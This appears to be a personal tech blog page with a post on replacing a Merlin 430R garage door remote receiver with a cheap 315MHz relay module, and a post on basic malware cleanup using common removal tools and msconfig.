Fixing Merlin 430R garage roller door wireless remote

I found my Merlin 430R roller door wireless remote playing up after a couple of years. It intermittently would not receive the wireless signal (even when standing right under the unit!) but everything else was working fine. So first step of troubleshooting… Go buy a new remote!

After buying the new remote I had limited success so I figured the logic board wireless must be broken. I found a new one on ebay (see below) and it seemed pretty simple to install but it seemed a little pricey at $175 (I can buy a brand new one for $315!!)

After looking around with out much luck for a second hand unit I came across this little gem. Its a 12v wireless RF relay remote control which works in the 315Mhz range and is able to remotely (apparently 50 – 100m – tested 20m) switch 2 relays. In laymans terms a replacement wireless remote for under $10

I was able to wire in the wireless remote into the accessory terminal strip using the following wiring diagram:

The unit fits nicely in the light housing or can be fitted in a box if required and has been working perfectly for the last couple of months. The remotes are hard coded to a 315Mhz frequency depending on the chip-set. If you want 2 remotes make sure they are the same chip-set so they work on the same frequency however getting a replacement remote is quite easy since you can get self programming remotes like this one . Happy days!

so you’ve looked at too many dodgy websites?

I've recently had a few people say to me “I keep getting these popups coming up on my computer” , “my internet is slow” or “my computer keeps doing funny things”

well 99% of the time its because you have malware on your computer from looking at sites which exploit vulnerabilities in your web browser (or you have clicked on a dodge link)

either way how it happens doesn't really help once your computer is infected with malware. However don’t stress! there are some cool little tools and steps which you can use to bring your computer back from the brink.

combofix and malware bytes are ace apps to remove malware which you can download from here and here
I'm not going to go into details on how to use these tools since you can find tutorials on this which can be found here:

One thing I do recommend you do before starting the above scans is to disable all of your start-up programs and reboot your computer. You can do this by:

- Start- > Run –> msconfig
- Click the start-up tab –> Disable All –> Apply
- Reboot your computer

This will stop any nasty application from starting which may prevent you from completing your scan.

I also recommend avast antivirus which is free and works a charm! You can download it from here

Good luck!! (“,)

--UPDATE 29/8/2016--

After having my computers antivirus going crazy (see below). I came across this article which put me onto FRST64.exe which outputs text files similar to HijackThis of your systems registry and configurations which helped identify a rogue registry entry.
